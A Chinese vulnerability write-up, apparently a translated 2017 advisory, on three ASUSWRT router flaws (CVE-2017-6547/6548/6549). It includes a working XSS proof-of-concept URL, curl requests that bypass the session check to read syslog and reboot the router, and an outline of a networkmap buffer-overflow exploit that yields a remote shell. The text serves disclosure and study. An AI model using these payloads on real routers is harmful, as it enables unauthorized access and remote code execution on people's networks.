ASUSWRT 无线路由器操作系统多个漏洞分析

ASUSWRT是一个无线路由器操作系统,安装在华硕生产的许多路由器。在当前版本的ASUSWRT中可以检测到多个可利用的漏洞。

发布时间:2017年3月08日

受影响的路由器:

  • RT-AC53(3.0.0.4.380.6038)
  • … …

跨站脚本(XSS)

组件: httpd

CVE:CVE-2017-6547

漏洞:如果httpdhandle_request所请求的文件名长度超过50个字符,则检查函数。允许攻击者将任意JavaScript代码注入路由器的Web界面。

... ...... ...
if(strlen(file)>  50  &&!(strstr(file,“findasus”))&&  !(strstr(file,“acme-challenge”)){    char inviteCode [ 256 ];    snprintf(inviteCode,sizeof(inviteCode),“<script> location.href ='/ cloud_sync.asp?flag =%s'; </ script>”,file);    send_page(200,“OK”,(char *)0,inviteCode,0);
... ...

Poc:

http://192.168.1.1/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';alert('XSS');'A

asuswrt-xss

窃取Session

组件: httpd

CVE:CVE-2017-6549

漏洞:httpd使用函数search_token_in_list来验证用户是否可以通过asus_token值登录到管理界面。但是有一个else,会建立注销功能。

asus_token_t* search_token_in_list(char* token, asus_token_t **prev)
{
 asus_token_t *ptr = head;
 asus_token_t *tmp = NULL;
 int found = 0;
 char *cp = NULL;

while(ptr != NULL)
 {
 if(!strncmp(token, ptr->token, 32)) {
 found = 1;
 break;
 }
 else if(strncmp(token, "cgi_logout", 10) == 0) {
 cp = strtok(ptr->useragent, "-");

if(strcmp(cp, "asusrouter") != 0) {
 found = 1;
 break;
 }
 }
 else {
 tmp = ptr;
 ptr = ptr->next;
 }
 }
 
 if(found == 1) {
 if(prev)
 *prev = tmp;
 return ptr;
 } 
 else {
 return NULL;
 }
}

如果攻击者将Cookie值设置cgi_logout并将asusrouter-Windows-IFTTT-1.0放入User-Agent中的 header,那么如果任何其他管理员会话处于活动状态,则攻击者将变成已登录状态。

PoC:

# read syslog
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/syslog.txt

#reboot router
curl -H 'User-Agent: asusrouter-Windows-IFTTT-1.0' -H 'Cookie: asus_token=cgi_logout' http://192.168.1.1/apply.cgi1 -d 'action_mode=reboot&action_script=&action_wait=70'

如果任何管理员会话当前处于活动状态,则可以在路由器上执行任意命令。

远程代码执行

组件: networkmap

CVE:CVE-2017-6548

networkmap负责生成路由器连接到的计算机的网络图。它持续监视内网中未知的计算机对该主机提交的ARP请求。当出现新的MAC地址时,它将探测用于运行服务的相关IP地址,如打印机共享,http服务和iTunes服务。

这是通过发送组播(Multicast)SSP实现:

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
ST:upnp:rootdevice
MAN:"ssdp:discover"
MX:3

该组件可以响应表明iTunes服务位置的消息。

HTTP/1.1 200 OK
Location:HTTP://host:port/path

漏洞:

process_device_repsonse函数负责解析SSDP回答:

/************************************************************************************************/
// process the device response "HTTP/1.1 200 OK"
int process_device_response(char *msg)
{
        char *line, *body, *p;                  // temporary variables
        char *location = NULL;                  // the LOCATION: header
        char host[16], port[6];                 // the ip and port of the device
        ushort destport;                        // the integer type of device port
        char *data = NULL;                      // the data in packet
        int http_fd;                            // the http socket fd
        int nbytes;                             // recv number
        int i;
        char *descri = NULL;
        int len;
	struct timeval timeout={10, 0};

        //search "\r\n\r\n" or "\r\n" first appear place and judge whether msg have blank.
        if( (body = strstr(msg, "\r\n\r\n")) != NULL)
                body +=4;
        else if ( (body = strstr(msg, "\r\n")) != NULL)
                body +=2;
        else
                return 0;
                                                                                                                                             
        p = msg;
        // find the LOCATION information.
        while( p!= NULL && p < body)
        {
                line = strsep(&p, "\r\n");      //divide up string
                if((strncmp(line, "LOCATION:", 9) == 0) || (strncmp(line, "Location:", 9) == 0))
                {
                        location = strip_chars(&line[9], "\t");
                        location = strip_chars(&line[9], " ");
                        break;
                }
        }
        NMP_DEBUG_F("UPnP location=%s\n", location);
        //fprintf(fp_upnp, "UPnP location=%s\n", location);//Yau                                                                                                                                     
        // get the destination ip
        location += 7;
	i = 0;
	while( (*location != ':') && (*location != '/')) {
                host[i] = *location++;
		i++;
	}
        host[i] = '\0';
        //get the destination port
        if(*location == ':') {
            	for(location++, i =0; *location != '/'; i++)
                	port[i] = *location++;
            	port[i] = '\0';
            	destport = (ushort)atoi(port);
	}
	else
		destport = 80;

在主机和端口的解析代码中包含多个缓冲区溢出。 这个基于堆栈的溢出可以用networkmap通过覆盖存储在堆栈上的保存的$pc来获得对网络图的控制

解析此消息:

HTTP/1.1 200 OK
Location:HTTP://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/

将溢出部分的host[16]设为0x41414141并引导至$pc为等下利用部分做铺垫。

利用准备:

为了开发exp,我们要进一步收集系统信息

一般信息:

ASUSWRT是基于MIPS CPU上运行的Linux。当networkmap设备启动时,易受攻击的程序会自动启动,如果watchdog进程崩溃,便会重启。

# cat /proc/cpuinfo 
system type : MT7620
processor : 0
cpu model : MIPS 24Kc V5.0
BogoMIPS : 386.04
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : yes, count: 4, address/irw mask: [0x0000, 0x0ff8, 0x0ff8, 0x0ff8]
ASEs implemented : mips16 dsp
shadow register sets : 1
core : 0
VCED exceptions : not available
VCEI exceptions : not available

# ps
 PID USER VSZ STAT COMMAND
 1 admin 3940 S /sbin/init
 2 admin 0 SW [kthreadd]
 3 admin 0 SW [ksoftirqd/0]
 4 admin 0 SW [kworker/0:0]
 5 admin 0 SW [kworker/u:0]
 6 admin 0 SW< [khelper]
 7 admin 0 SW [sync_supers]
 8 admin 0 SW [bdi-default]
 9 admin 0 SW< [kintegrityd]
 10 admin 0 SW< [kblockd]
 11 admin 0 SW [kswapd0]
 12 admin 0 SW [fsnotify_mark]
 13 admin 0 SW< [crypto]
 17 admin 0 SW [mtdblock0]
 18 admin 0 SW [mtdblock1]
 19 admin 0 SW [mtdblock2]
 20 admin 0 SW [mtdblock3]
 21 admin 0 SW [mtdblock4]
 22 admin 0 SW [mtdblock5]
 23 admin 0 SW [kworker/u:1]
 30 admin 0 SW [kworker/0:1]
 41 admin 660 S hotplug2 --persistent --no-coldplug
 76 admin 3924 S console
 78 admin 1276 S /sbin/syslogd -m 0 -S -O /tmp/syslog.log -s 256 -l 6
 80 admin 1276 S /sbin/klogd -c 5
 82 admin 1292 S /bin/sh
 115 admin 0 SW [RtmpCmdQTask]
 116 admin 0 SW [RtmpWscTask]
 135 admin 0 SW [RtmpCmdQTask]
 136 admin 0 SW [RtmpWscTask]
 164 admin 3932 S /sbin/wanduck
 168 admin 1128 S dropbear -p 192.168.1.1:22 -a
 175 admin 3932 S wpsaide
 189 nobody 1056 S dnsmasq --log-async
 194 admin 2588 S avahi-daemon: running [RT-AC53-B8F4.local]
 196 admin 4112 S httpd -i br0
 197 admin 1068 S /usr/sbin/infosvr br0
 199 admin 3932 S watchdog
 201 admin 2180 S rstats
 210 admin 1160 S lld2d br0
 211 admin 3932 S ots
 224 admin 800 S miniupnpd -f /etc/upnp/config
 229 admin 1284 S /sbin/udhcpc -i vlan2 -p /var/run/udhcpc0.pid -s /tmp/udhcpc -O33 -O249
 302 admin 1152 S dropbear -p 192.168.1.1:22 -a
 303 admin 1300 S -sh
 344 admin 1128 S networkmap
 359 admin 1280 R ps

# uname -a
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux

内存映射:

分析networkmap存储器映射以继续利用该组件。

# cat /proc/$(pidof networkmap)/maps
00400000-0040b000 r-xp 00000000 1f:04 270 /usr/sbin/networkmap
0041a000-0041b000 rw-p 0000a000 1f:04 270 /usr/sbin/networkmap
0041b000-0041f000 rwxp 00000000 00:00 0 [heap]
2b893000-2b894000 rw-p 00000000 00:00 0 
2b894000-2b89a000 r-xp 00000000 1f:04 828 /lib/ld-uClibc.so.0
2b89a000-2b8a0000 rw-s 00000000 00:04 0 /SYSV000003e9 (deleted)
2b8a0000-2b8a4000 rw-s 00000000 00:04 32769 /SYSV000003ea (deleted)
2b8a9000-2b8aa000 r--p 00005000 1f:04 828 /lib/ld-uClibc.so.0
2b8aa000-2b8ab000 rw-p 00006000 1f:04 828 /lib/ld-uClibc.so.0
2b8ab000-2b8d9000 r-xp 00000000 1f:04 258 /usr/lib/libshared.so
2b8d9000-2b8e8000 ---p 00000000 00:00 0 
2b8e8000-2b8eb000 rw-p 0002d000 1f:04 258 /usr/lib/libshared.so
2b8eb000-2b8ed000 rw-p 00000000 00:00 0 
2b8ed000-2b8ef000 r-xp 00000000 1f:04 235 /usr/lib/libnvram.so
2b8ef000-2b8ff000 ---p 00000000 00:00 0 
2b8ff000-2b900000 rw-p 00002000 1f:04 235 /usr/lib/libnvram.so
2b900000-2b90e000 r-xp 00000000 1f:04 760 /lib/libgcc_s.so.1
2b90e000-2b91e000 ---p 00000000 00:00 0 
2b91e000-2b91f000 rw-p 0000e000 1f:04 760 /lib/libgcc_s.so.1
2b91f000-2b95a000 r-xp 00000000 1f:04 827 /lib/libc.so.0
2b95a000-2b96a000 ---p 00000000 00:00 0 
2b96a000-2b96b000 rw-p 0003b000 1f:04 827 /lib/libc.so.0
2b96b000-2b96f000 rw-p 00000000 00:00 0 
2b970000-2b97f000 r--s 03eb0000 00:0c 78 /dev/nvram
7f8a7000-7f8c8000 rwxp 00000000 00:00 0 [stack]
7fff7000-7fff8000 r-xp 00000000 00:00 0 [vdso]

观察结果:

  • 部分ASLR被激活:
    • 堆栈地址是随机的
    • 库地址是随机的
    • 程序地址不是随机的
    • 堆地址不是随机的
  • 没有Stack-Protector
  • 堆和堆栈都映射为可执行文件

Exploit:

最终的攻击步骤:

  1. 启动提供shellcode的Web服务器
  2. 监听由路由器发送的组播UDP消息
  3. 数据库清除/崩溃:使堆布局可见
    • 随机化MAC地址
    • 发送信息:跳到Gadget删除networkmap的数据库并使其崩溃
    • networkmap 将重新启动
  4. 覆盖堆1,2:
    • 随机化MAC地址
    • 发送消息:包含Web服务器的IP +端口
    • networkmap 将接收shellcode并将其存储在堆上
  5. 启动payload
    • 随机MAC地址
    • 发送消息:跳转到包含shellcode的堆地址
  6. 连接到开放的shell

有关更多详细信息,请查看完整的漏洞利用:networkmap-pwn.py

例:

# ./networkmap-pwn.py
[-] starting webserver
[-] received SSP discovery
[-] clearing database and crashing
[-] received SSP discovery
[-] spraying heap 1/2
[-] got shellcode request
[-] sending shellcode
[-] received SSP discovery
[-] spraying heap 2/2
[-] received SSP discovery
[-] starting payload
[-] try to connect to shell
[-] try to connect to shell
[+] connected
Linux (none) 2.6.36 #1 Fri Sep 23 12:05:55 CST 2016 mips GNU/Linux
[+] pwned

 

*参考:0xbb,MottoIN小编编译发布,转载请注明来自MottoIN

原创文章,作者:Jarry,如若转载,请注明出处:http://www.mottoin.com/98299.html

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code